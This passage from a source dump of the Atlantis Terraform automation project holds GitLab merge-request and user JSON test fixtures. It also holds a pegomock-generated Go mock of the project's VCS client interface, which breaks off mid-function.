"https://secure.gravatar.com/avatar/d2407ada813207aeebb75cf61e87240a74904be7fd705a4f22d34a3d3387b106?s=80&d=identicon", "web_url": "https://gitlab.com/lukemassa" }, "assignees": [], "assignee": null, "reviewers": [], "source_project_id": 75092240, "target_project_id": 75092240, "labels": [], "draft": false, "imported": false, "imported_from": "none", "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "not_open", "merge_after": null, "sha": "a7e1c0cceef744e6c13a9a728027f837b84b23be", "merge_commit_sha": null, "squash_commit_sha": null, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": null, "prepared_at": "2025-10-08T01:10:02.641Z", "reference": "!8", "references": { "short": "!8", "relative": "!8", "full": "lukemassa/atlantis-test!8" }, "web_url": "https://gitlab.com/lukemassa/atlantis-test/-/merge_requests/8", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": false, "squash_on_merge": false, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "approvals_before_merge": null, "subscribed": false, "changes_count": "1", "latest_build_started_at": null, "latest_build_finished_at": null, "first_deployed_to_production_at": null, "pipeline": null, "head_pipeline": null, "diff_refs": { "base_sha": "2608b60d023280134ca16252505ce307bf0eec97", "head_sha": "a7e1c0cceef744e6c13a9a728027f837b84b23be", "start_sha": "2608b60d023280134ca16252505ce307bf0eec97" }, "merge_error": null, "first_contribution": false, "user": { "can_merge": false } } ================================================ FILE: server/events/vcs/gitlab/testdata/user-multiple.json ================================================ [ { "id": 123, "username": "multiuser", "name": "Multiple User 1", "state": "active", "locked": false, "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/123/avatar.png", "web_url": "https://gitlab.com/multiuser" }, { "id": 124, "username": "multiuser", "name": "Multiple User 2", "state": "active", "locked": false, "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/124/avatar.png", "web_url": "https://gitlab.com/multiuser" } ] ================================================ FILE: server/events/vcs/gitlab/testdata/user-none.json ================================================ [] ================================================ FILE: server/events/vcs/gitlab/testdata/user-success.json ================================================ [ { "id": 123, "username": "testuser", "name": "Test User", "state": "active", "locked": false, "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/123/avatar.png", "web_url": "https://gitlab.com/testuser" } ] ================================================ FILE: server/events/vcs/mocks/mock_client.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events/vcs (interfaces: Client) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockClient struct { fail func(message string, callerSkip ...int) } func NewMockClient(options ...pegomock.Option) *MockClient { mock := &MockClient{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockClient) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, pullNum, comment, command} _result := pegomock.GetGenericMockFrom(mock).Invoke("CreateComment", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockClient) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("DiscardReviews", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockClient) GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, VCSHostType, repo} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetCloneURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockClient) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, branch, fileName} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetFileContent", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 bool var _ret1 []byte var _ret2 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } if _result[1] != nil { _ret1 = _result[1].([]byte) } if _result[2] != nil { _ret2 = _result[2].(error) } } return _ret0, _ret1, _ret2 } func (mock *MockClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetModifiedFiles", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockClient) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullLabels", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockClient) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, user} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetTeamNamesForUser", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, pullNum, command, dir} _result := pegomock.GetGenericMockFrom(mock).Invoke("HidePrevCommandComments", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockClient) MarkdownPullLink(pull models.PullRequest) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("MarkdownPullLink", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, pull, pullOptions} _result := pegomock.GetGenericMockFrom(mock).Invoke("MergePull", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("PullIsApproved", _params, []reflect.Type{reflect.TypeOf((*models.ApprovalStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.ApprovalStatus var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.ApprovalStatus) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, pull, vcsstatusname, ignoreVCSStatusNames} _result := pegomock.GetGenericMockFrom(mock).Invoke("PullIsMergeable", _params, []reflect.Type{reflect.TypeOf((*models.MergeableStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.MergeableStatus var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.MergeableStatus) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, pullNum, commentID, reaction} _result := pegomock.GetGenericMockFrom(mock).Invoke("ReactToComment", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockClient) SupportsSingleFileDownload(repo models.Repo) bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{repo} _result := pegomock.GetGenericMockFrom(mock).Invoke("SupportsSingleFileDownload", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) var _ret0 bool if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } } return _ret0 } func (mock *MockClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{logger, repo, pull, state, src, description, url} _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateStatus", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockClient) VerifyWasCalledOnce() *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockClient struct { mock *MockClient invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) *MockClient_CreateComment_OngoingVerification { _params := []pegomock.Param{logger, repo, pullNum, comment, command} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CreateComment", _params, verifier.timeout) return &MockClient_CreateComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_CreateComment_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_CreateComment_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int, string, string) { logger, repo, pullNum, comment, command := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1], comment[len(comment)-1], command[len(command)-1] } func (c *MockClient_CreateComment_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int, _param3 []string, _param4 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]int, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(int) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } } return } func (verifier *VerifierMockClient) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_DiscardReviews_OngoingVerification { _params := []pegomock.Param{logger, repo, pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DiscardReviews", _params, verifier.timeout) return &MockClient_DiscardReviews_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_DiscardReviews_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_DiscardReviews_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { logger, repo, pull := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1] } func (c *MockClient_DiscardReviews_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockClient) GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) *MockClient_GetCloneURL_OngoingVerification { _params := []pegomock.Param{logger, VCSHostType, repo} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetCloneURL", _params, verifier.timeout) return &MockClient_GetCloneURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_GetCloneURL_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_GetCloneURL_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.VCSHostType, string) { logger, VCSHostType, repo := c.GetAllCapturedArguments() return logger[len(logger)-1], VCSHostType[len(VCSHostType)-1], repo[len(repo)-1] } func (c *MockClient_GetCloneURL_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.VCSHostType, _param2 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.VCSHostType, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.VCSHostType) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } } return } func (verifier *VerifierMockClient) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) *MockClient_GetFileContent_OngoingVerification { _params := []pegomock.Param{logger, repo, branch, fileName} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetFileContent", _params, verifier.timeout) return &MockClient_GetFileContent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_GetFileContent_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_GetFileContent_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, string, string) { logger, repo, branch, fileName := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], branch[len(branch)-1], fileName[len(fileName)-1] } func (c *MockClient_GetFileContent_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []string, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } func (verifier *VerifierMockClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_GetModifiedFiles_OngoingVerification { _params := []pegomock.Param{logger, repo, pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetModifiedFiles", _params, verifier.timeout) return &MockClient_GetModifiedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_GetModifiedFiles_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_GetModifiedFiles_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { logger, repo, pull := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1] } func (c *MockClient_GetModifiedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockClient) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_GetPullLabels_OngoingVerification { _params := []pegomock.Param{logger, repo, pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullLabels", _params, verifier.timeout) return &MockClient_GetPullLabels_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_GetPullLabels_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_GetPullLabels_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { logger, repo, pull := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1] } func (c *MockClient_GetPullLabels_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockClient) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) *MockClient_GetTeamNamesForUser_OngoingVerification { _params := []pegomock.Param{logger, repo, user} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetTeamNamesForUser", _params, verifier.timeout) return &MockClient_GetTeamNamesForUser_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_GetTeamNamesForUser_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_GetTeamNamesForUser_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.User) { logger, repo, user := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], user[len(user)-1] } func (c *MockClient_GetTeamNamesForUser_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.User) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.User, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.User) } } } return } func (verifier *VerifierMockClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) *MockClient_HidePrevCommandComments_OngoingVerification { _params := []pegomock.Param{logger, repo, pullNum, command, dir} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "HidePrevCommandComments", _params, verifier.timeout) return &MockClient_HidePrevCommandComments_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_HidePrevCommandComments_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_HidePrevCommandComments_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int, string, string) { logger, repo, pullNum, command, dir := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1], command[len(command)-1], dir[len(dir)-1] } func (c *MockClient_HidePrevCommandComments_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int, _param3 []string, _param4 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]int, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(int) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } } return } func (verifier *VerifierMockClient) MarkdownPullLink(pull models.PullRequest) *MockClient_MarkdownPullLink_OngoingVerification { _params := []pegomock.Param{pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MarkdownPullLink", _params, verifier.timeout) return &MockClient_MarkdownPullLink_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_MarkdownPullLink_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_MarkdownPullLink_OngoingVerification) GetCapturedArguments() models.PullRequest { pull := c.GetAllCapturedArguments() return pull[len(pull)-1] } func (c *MockClient_MarkdownPullLink_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) *MockClient_MergePull_OngoingVerification { _params := []pegomock.Param{logger, pull, pullOptions} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MergePull", _params, verifier.timeout) return &MockClient_MergePull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_MergePull_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_MergePull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.PullRequestOptions) { logger, pull, pullOptions := c.GetAllCapturedArguments() return logger[len(logger)-1], pull[len(pull)-1], pullOptions[len(pullOptions)-1] } func (c *MockClient_MergePull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.PullRequestOptions) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.PullRequest) } } if len(_params) > 2 { _param2 = make([]models.PullRequestOptions, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequestOptions) } } } return } func (verifier *VerifierMockClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_PullIsApproved_OngoingVerification { _params := []pegomock.Param{logger, repo, pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PullIsApproved", _params, verifier.timeout) return &MockClient_PullIsApproved_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_PullIsApproved_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_PullIsApproved_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { logger, repo, pull := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1] } func (c *MockClient_PullIsApproved_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) *MockClient_PullIsMergeable_OngoingVerification { _params := []pegomock.Param{logger, repo, pull, vcsstatusname, ignoreVCSStatusNames} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PullIsMergeable", _params, verifier.timeout) return &MockClient_PullIsMergeable_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_PullIsMergeable_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_PullIsMergeable_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string, []string) { logger, repo, pull, vcsstatusname, ignoreVCSStatusNames := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], 